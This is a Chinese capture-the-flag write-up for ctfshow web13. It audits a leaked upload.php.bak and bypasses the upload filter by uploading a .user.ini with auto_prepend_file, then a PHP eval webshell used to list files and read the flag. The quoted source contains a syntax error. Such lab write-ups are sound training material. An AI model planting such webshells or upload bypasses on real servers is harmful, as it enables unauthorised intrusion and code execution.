首页 > 编程语言 >ctfshow--web13 .user.ini上传和bak源码泄露

ctfshow--web13 .user.ini上传和bak源码泄露

时间:2024-04-04 17:34:00浏览次数:12  
标签:suffix -- die 源码 user file error php 上传

upload.php.bak源码泄露了
审计一下

点击查看代码
<?php 
	header("content-type:text/html;charset=utf-8");
	$filename = $_FILES['file']['name'];
	$temp_name = $_FILES['file']['tmp_name'];
	$size = $_FILES['file']['size'];
	$error = $_FILES['file']['error'];
	$arr = pathinfo($filename);
	$ext_suffix = $arr['extension'];
	if ($size > 24){
		die("error file zise");
	}
	if (strlen($filename)>9){
		die("error file name");
	}
	if(strlen($ext_suffix)>3){
		die("error suffix");
	}
	if(preg_match("/php/i",$ext_suffix)){
		die("error suffix");
    }
    if(preg_match("/php/i"),$filename)){
        die("error file name");
    }
	if (move_uploaded_file($temp_name, './'.$filename)){
		echo "文件上传成功!";
	}else{
		echo "文件上传失败!";
	}

 ?>

可以上传user.ini文件 文件内容为auto_prepend_file=1.txt
这样所有文件就会自动包含1.txt的内容了

image

之后我们上传1.txt,往里面写入一句话木马

image

点击查看代码
<?php eval($_POST['a']);

我们尝试a=print_r(glob("."));看看命令能否被执行
可以看到执行成功并将所有文件暴露了出来
image
接下来
show_source("903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php");
查看该文件的代码
拿到flag

image

标签:suffix,--,die,源码,user,file,error,php,上传
From: https://www.cnblogs.com/wssw/p/18114374

相关文章

  • 利用AI结合无极低码(免费版)快速实现接口开发教程,会sql即可,不需要编写编译代码
    无极低码无代码写服务+AI实践本次演示最简单的单表无代码增删改查发布服务功能,更复杂的多表操作,安全验证,多接口调用,自自动生成接口服务,生成二开代码,生成调用接口测试,一键生成管理界面多条件检索、修改、删除、查看、通用公共接口调用、通用无限级字典调用等后续逐步更新,请......
  • 「补档」胡乱写写科幻·第二弹·「虚假的快乐」
    不难发现,人情绪的本质从来不是事实是怎样,而是你怎样去认知。所以愚蠢的人总是能获得简单又纯粹的幸福,陷入一片「虚假的快乐」之中,而智者却因为洞察了一切而总是陷入痛苦之中。「具有这种犀利眼光,能够看清真相的人,可以任意支配整个世界及其知识财富。作为一个始终具有善于观察并......
  • DFS:深搜+回溯+剪枝解决排列、子集问题
                      创作不易,感谢三连支持!! 一、全排列I.-力扣(LeetCode)classSolution{public://全局变量vector<vector<int>>ret;vector<int>path;boolcheck[6];vector<vector<int>>permute(vecto......
  • 图论
    图论拓扑排序定义拓扑排序要解决的问题是给一个有向无环图的所有节点排序。合理性证明考虑一个图,删掉某个入度为0的节点之后,如果新图可以拓扑排序,那么原图一定也可以。反过来,如果原图可以拓扑排序,那么删掉后也可以。应用拓扑排序可以判断图中是否有环,还可以用来判断图是否......
  • Python+requests+Pytest+logging+allure+pymysql框架详解
    一、框架目录结构1)tools目录用来放公共方法存储,如发送接口以及读取测试数据的方法,响应断言数据库断言前置sql等方法;2)datas目录用例存储接口用例的测试数据,我是用excel来存储的数据,文件数据图片数据等;3)testcases目录用来存放测试用例,一个python文件对应一个接口模块的......
  • 03-Java框架FTPClient 使用rename()移动文件和文件重命名
    1需求由于业务种种原因,现在需要将ftp中已存文件移动到其它文件夹。2初始策略一开始走上弯路,直接翻看FTPClientAPI有无move方法,但没发现:于是曲线救国,想着采用先复制、再删除,伪代码:InputStreaminputStream=ftpClient.retrieveFileStream("/AAA/test.txt");ftpClient.st......
  • 一键下载,淘宝、天猫多张商品图片轻松搞定!
    在当今这个数字化飞速发展的时代,高效方法对于提升工作效率具有不可估量的价值。特别是对于电商从业者而言,及时获取高质量的商品图片对于店铺的运营和营销至关重要。电商平台里的商品许许多多,但手动下载多张商品图片却是一项耗时且费力的工作。这时高效方法的价值就显现出来了,小......
  • 洛谷p1002题解
    [NOIP2002普及组]过河卒题目描述棋盘上AAA点有一个过河卒,需要走到目标BB......
  • 一键下载快手、B站视频如此简单,你还在等什么?
    现在这个时代是快节奏高效率的,效率和便捷性成为了衡量一切的重要标准。网络上的视频平台,依靠着海量的精彩内容,得到许多流量。那么就有小伙伴要问了“怎么才能高效便捷的下载视频呢?”本小编一听,立马来了兴致,这就把这个轻松简单的下载方式分享给小伙伴们!1、这里用到了“天图工......
  • 轻松下载微博、西瓜作者主页无水印视频的方法
    在这个时代,视频已成为人们表达思想、分享生活的重要方式,而平台上分布着许多优质视频资源。不过平台上的视频往往带有水印,对素材的二次创作因此很是麻烦。因此,一种轻松下载作者主页无水印视频的方法,对于广大网友来说具有重要意义。现在随着小编的步伐向着作者主页无水印视频下载......